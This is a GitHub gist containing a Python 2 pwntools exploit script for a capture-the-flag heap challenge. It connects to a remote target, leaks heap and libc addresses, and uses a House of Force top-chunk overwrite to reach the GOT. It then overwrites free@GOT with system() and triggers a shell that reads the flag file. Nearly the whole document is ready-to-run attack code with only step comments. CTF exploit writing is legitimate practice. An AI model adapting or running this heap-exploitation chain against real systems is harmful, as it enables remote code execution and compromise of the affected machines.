Skip to content

Instantly share code, notes, and snippets.

@0xb0bb
Last active May 23, 2019 17:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0xb0bb/9ce7925e1a3342d243d907a95d48bdca to your computer and use it in GitHub Desktop.
Save 0xb0bb/9ce7925e1a3342d243d907a95d48bdca to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
from pwn import *
import sys
# context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
def fail(msg):
log.info("Exploit failed: {}".format(msg))
exit(1)
def success(msg):
log.success("{}".format(msg))
exit(1337)
def main():
INTRO = False
HOST, PORT = sys.argv[1].split(':')
try:
for z in range(20):
io = remote(HOST, PORT)
# step 0: show sexy banner
banner = io.recvuntil('oblig')[:-12]
if INTRO is False:
print banner
INTRO = True
# step 1: create smallbin chunks so there are at least 2 non-border chunks
for i in range(4):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline('128')
io.recvuntil(': ')
io.sendline(chr(0x61+i)*4)
# step 2: delete the non-border chunks and leak the heap address
io.recvuntil('> ')
io.sendline('3')
io.recvuntil(': ')
io.sendline('1')
io.recvuntil('> ')
io.sendline('3')
io.recvuntil(': ')
io.sendline('1')
io.recvuntil('> ')
io.sendline('4')
io.recvuntil(': ')
io.sendline('1')
io.recvuntil(': ')
leak = io.recvline().strip()
leak += '\x00'*(8-len(leak))
leak = u64(leak)
top = leak + 0x1a8
# log.info('leak: 0x%012x' % leak)
# log.info('top: 0x%012x' % top)
# step 3: overwrite the top chunk
io.recvuntil('> ')
io.sendline('2')
io.recvuntil(': ')
io.sendline('3')
io.recvuntil(': ')
io.sendline('148')
io.recvuntil(': ')
io.send('d'*8+'\x00'*128+p64(0xffffffffffffffff))
# step 4: request an evil chunk so next allocation is in the poitners array
io.recvuntil('> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(0x6020e0 - top))
# step 5: request an allocation to be able to write leak GOT and write anywhere
# after this index 6 points to the pointers array and 7 is the GOT
io.recvuntil('> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(0x10))
io.send(p64(0x6020c0)+p64(0x602018))
# step 6: leak libc
io.recvuntil('> ')
io.sendline('4')
io.recvuntil(': ')
io.sendline('7')
io.recvuntil(': ')
leak = io.recvline().strip()
leak += '\x00'*2
leak = u64(leak)
libc = leak - 0x97950
# log.info('free: 0x%012x' % leak)
# log.info('libc: 0x%012x' % libc)
# step 7: allocate a string with /bin/sh in it
io.recvuntil('> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(0x10))
io.send('/bin/sh\x00'+p64(0x602110))
# step 8: overwrite free@GOT with system()
io.recvuntil('> ')
io.sendline('2')
io.recvuntil(': ')
io.sendline('7')
io.recvuntil(': ')
io.sendline('8')
io.recvuntil(': ')
io.send(p64(libc+0x4f440))
# step 9: run the command to drop a shell
io.recvuntil('> ')
io.sendline('3')
io.recvuntil(': ')
io.sendline('11')
# step 10: collect the flag
io.sendline('cat ./flag')
flag = io.recvline().strip()
return flag
except:
io.close()
return None
if __name__== '__main__':
if len(sys.argv) < 2:
fail('No target')
flag = main()
if flag.startswith("sctf{"):
success(flag)
fail("")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment